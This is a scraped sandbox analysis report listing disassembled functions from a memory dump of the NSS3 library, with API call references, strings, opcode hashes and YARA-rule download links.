Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: b8ea6a3bafbe2bdc7daddb21414dbe2a4993735c2d25c538e134e5d048319f6f
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: C71190A5B003049BEB00AE667D41BBBB6EC9F5458DF044039A909D7741FB60DA4886B3

Function 6C9B8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9B8C1B
EnterCriticalSection.KERNEL32 ref: 6C9B8C34
PL_ArenaAllocate.NSS3 ref: 6C9B8C65
PR_Unlock.NSS3 ref: 6C9B8C9C
PR_Unlock.NSS3 ref: 6C9B8CB6

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Strings

KRAM, xrefs: 6C9B8C8F

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: ea7401b25f7c7ac9f0ecaf49e69f1c4df8e78b5dfa58fefe648b023c609cae5b
Instruction ID: 04b74e9ac44527e573f5e1a6b1e9b684dca6591b8c00c577a9c18f7bc3d4e516
Opcode Fuzzy Hash: ea7401b25f7c7ac9f0ecaf49e69f1c4df8e78b5dfa58fefe648b023c609cae5b
Instruction Fuzzy Hash: C92194F5A056029FD704AF78C48455AB7F4FF19308F05C96ED8889B711DB35E88ACB85

Function 6C9C3810 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C9AA8F0,?,00000000), ref: 6C9C3827
EnterCriticalSection.KERNEL32(?,?,6C9AA8F0,?,00000000), ref: 6C9C3840
TlsGetValue.KERNEL32(?,?,?,6C9AA8F0,?,00000000), ref: 6C9C385A
EnterCriticalSection.KERNEL32(?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C386F
PL_HashTableLookup.NSS3(?,?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C3888
PR_Unlock.NSS3(?,?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C3895
PR_Unlock.NSS3(?,?,?,?,?,6C9AA8F0,?,00000000), ref: 6C9C38B6

Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907AD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907CD
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C92204A), ref: 6C9907D6
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C92204A), ref: 6C9907E4
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,6C92204A), ref: 6C990864
Part of subcall function 6C9907A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C990880
Part of subcall function 6C9907A0: TlsSetValue.KERNEL32(00000000,?,?,6C92204A), ref: 6C9908CB
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908D7
Part of subcall function 6C9907A0: TlsGetValue.KERNEL32(?,?,6C92204A), ref: 6C9908FB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: c121e07d78cf0859200b0bffc340ac3ac187c2d4eac74708af564fd6604bce78
Instruction ID: f534376362bc2e8e41bf38d294a687bdfd838a56e4a1de65875b4020abb1d318
Opcode Fuzzy Hash: c121e07d78cf0859200b0bffc340ac3ac187c2d4eac74708af564fd6604bce78
Instruction Fuzzy Hash: 33213075A047058FDB00AF79D484499BBF4FF49358B098A69DC98C7701EB30E895CBD2

Function 6CA33E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PR_EnterMonitor.NSS3(?), ref: 6CA33E45

Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690AB
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA690C9
Part of subcall function 6CA69090: EnterCriticalSection.KERNEL32 ref: 6CA690E5
Part of subcall function 6CA69090: TlsGetValue.KERNEL32 ref: 6CA69116
Part of subcall function 6CA69090: LeaveCriticalSection.KERNEL32 ref: 6CA6913F

PR_EnterMonitor.NSS3(?), ref: 6CA33E5C
PR_EnterMonitor.NSS3(?), ref: 6CA33E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CA33EA6

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

PR_ExitMonitor.NSS3(?), ref: 6CA33EC0
PR_ExitMonitor.NSS3(?), ref: 6CA33ED7
PR_ExitMonitor.NSS3(?), ref: 6CA33EEE

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 55a804d83b402e70ba4a7ca400a58c7a04963a745f92dedcb5827376eeed7d57
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 0111A871519510ABD7315E3AFD12BC777F1DB40308F141824E59EC6E60E636E9AEC742

Function 6CAB2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CAB2CA0
PR_ExitMonitor.NSS3 ref: 6CAB2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CAB2CD1
strdup.MOZGLUE(?), ref: 6CAB2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CAB2D27

Strings

Loaded library %s (static lib), xrefs: 6CAB2D22

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ad71d5cebd5009d0b5246f1653a85da9d6081c0ea9fb8bdd5705679c26feaf1e
Instruction ID: d18cc8201f768dc2bb93d60073b6213f5b774b40161d721361494582c91c9013
Opcode Fuzzy Hash: ad71d5cebd5009d0b5246f1653a85da9d6081c0ea9fb8bdd5705679c26feaf1e
Instruction Fuzzy Hash: 3811E6B17003049FEB148F15DC4866677B9AB5A30DF18862ED81997B41D732E888CBA1

Function 6C9A68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C9A68FB
EnterCriticalSection.KERNEL32 ref: 6C9A6913
PORT_FreeArena_Util.NSS3 ref: 6C9A693E
PR_Unlock.NSS3 ref: 6C9A6946
DeleteCriticalSection.KERNEL32 ref: 6C9A6951
free.MOZGLUE ref: 6C9A695D
PR_Unlock.NSS3 ref: 6C9A6968

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: f7f0623963358565e0bc8a9b1bed0a8f7f07cfd4a37d75e62378f58010cbbe8c
Instruction ID: 30ff2d95d770ee007f9be66bca8eebf7707f7f6b3a49436e61403ea9aaa5105e
Opcode Fuzzy Hash: f7f0623963358565e0bc8a9b1bed0a8f7f07cfd4a37d75e62378f58010cbbe8c
Instruction Fuzzy Hash: CF115EB5A047058FEB00BFB9D48856DBBF8FF45348F058568D998DB601EB30D48ACB92

Function 6C9ABDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9ABDCA

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9ABDDB

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C9ABDEC

Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C9ABE03

Part of subcall function 6C9FFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C9F8D2D,?,00000000,?), ref: 6C9FFB85
Part of subcall function 6C9FFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C9FFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9ABE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9ABE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9ABE3B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 352b83a712aa20436b61a5586c70b06047842142988ec327d2baaf83b979b476
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: 6001DB75B4121566F71026A67D01FAB765C4F5168DF240030FF0896B82FB91D51E82F5

Function 6CA00FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B
TlsGetValue.KERNEL32(00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01044
free.MOZGLUE(00000000,?,00000800,6C99EF74,00000000), ref: 6CA01064

Strings

security, xrefs: 6CA01025

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 0d88f35abd4ae0cadcb348b89c025fe54a6a474c470abddcd20d2d58152cef5e
Instruction ID: a37b163595ff57232a820fea775765dbe006a559d44945a31d1d0ca369f111d5
Opcode Fuzzy Hash: 0d88f35abd4ae0cadcb348b89c025fe54a6a474c470abddcd20d2d58152cef5e
Instruction Fuzzy Hash: 41012570B002505BE7202F2DAC046A63668BF167CDF094119EA9897A51EB70D299DBD2

Function 6CA31C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA31C74

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CA31C92
free.MOZGLUE(?), ref: 6CA31C99
DeleteCriticalSection.KERNEL32(?), ref: 6CA31CCB
free.MOZGLUE(?), ref: 6CA31CD2

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 37c6381ae8708e7cb323ac4a5a16bf13048a3009c05041e86a00b22cbc782f91
Instruction ID: f8aad60d045b170a26680bca78966a0f35523b59a7a0d5828acb1dfd3b00298d
Opcode Fuzzy Hash: 37c6381ae8708e7cb323ac4a5a16bf13048a3009c05041e86a00b22cbc782f91
Instruction Fuzzy Hash: 6501D2B1F012215FDE24AFA49D0EB4A37B8A71674CF040029EA0EE3A40DB71E19D8792

Function 6CA91C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6C993D77,?,?,6C994E1D), ref: 6CA91C8A
sqlite3_free.NSS3(00000000), ref: 6CA91CB6

Strings

a CHECK constraint, xrefs: 6CA91C76, 6CA91C81
non-deterministic use of %s() in %s, xrefs: 6CA91C85
an index, xrefs: 6CA91C67
a generated column, xrefs: 6CA91C6C

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: 58c8c611d4196be330a8c8866dd25cf4e9b96782b0c15744f99efe3112047e08
Instruction ID: a51090ea5d82e99ae33a4492aa0ea17fe86c1aa1c3f10978c36b354420e4d786
Opcode Fuzzy Hash: 58c8c611d4196be330a8c8866dd25cf4e9b96782b0c15744f99efe3112047e08
Instruction Fuzzy Hash: FF014CB5A001004BD704BF2CD40297173E5EF9634CB15486DED898BB12EB31E896C751

Function 6CABC9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CA31AB6,00000000,?,?,6CA307B9,?), ref: 6CABC9C6
free.MOZGLUE(?,?,6CA307B9,?), ref: 6CABC9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CABC9E5
free.MOZGLUE(?), ref: 6CABC9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CABC9F8
free.MOZGLUE(?), ref: 6CABC9FF
free.MOZGLUE(00000000), ref: 6CABCA0B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 666f2d3c0ef731f7fb4d0a7982d9e8d976099aef43442c8d000915ffcf360969
Instruction ID: 6ea7f2c1e85f9bc5ff3fc3f9a0aa10819146e9e5a33ce95c58821b331ad938d0
Opcode Fuzzy Hash: 666f2d3c0ef731f7fb4d0a7982d9e8d976099aef43442c8d000915ffcf360969
Instruction Fuzzy Hash: 1A01A2B260060AABDB10EFB5DC48857B7FCFE492647044525E916C3A00D739F56BCBE1

Function 6CA42E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA43046

Part of subcall function 6CA2EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA2EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CA17FFB), ref: 6CA4312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA43154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CA42E8B

Part of subcall function 6CA4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CA4C2BF

Part of subcall function 6CA2F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CA19BFF,?,00000000,00000000), ref: 6CA2F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CA17FFA), ref: 6CA42EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA4317B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: d91cf7d5cb69b381448914b0d82eeb06dc82b01a39470277eee744d616df8c1e
Instruction ID: c5d7607d47cf4ab528a5ea93fe14c46927ff4680a1a1f8353650853a6cfa6525
Opcode Fuzzy Hash: d91cf7d5cb69b381448914b0d82eeb06dc82b01a39470277eee744d616df8c1e
Instruction Fuzzy Hash: 2FA1BF75A002289FDB24CF54CC80BEAB7B5EF49308F048199ED49A7741E771AD99CFA1

Function 6CA0ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CA0ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CA0EDCE

Part of subcall function 6CA00BE0: malloc.MOZGLUE(6C9F8D2D,?,00000000,?), ref: 6CA00BF8
Part of subcall function 6CA00BE0: TlsGetValue.KERNEL32(6C9F8D2D,?,00000000,?), ref: 6CA00C15

free.MOZGLUE(00000000,?,?,?,?,6CA0B04F), ref: 6CA0EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CA0EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CA0EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CA0EEFB

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: fb0c2ad138ba77ea10a4743a0e2532a4b623abdb27d5affb0df4e36d1a92875c
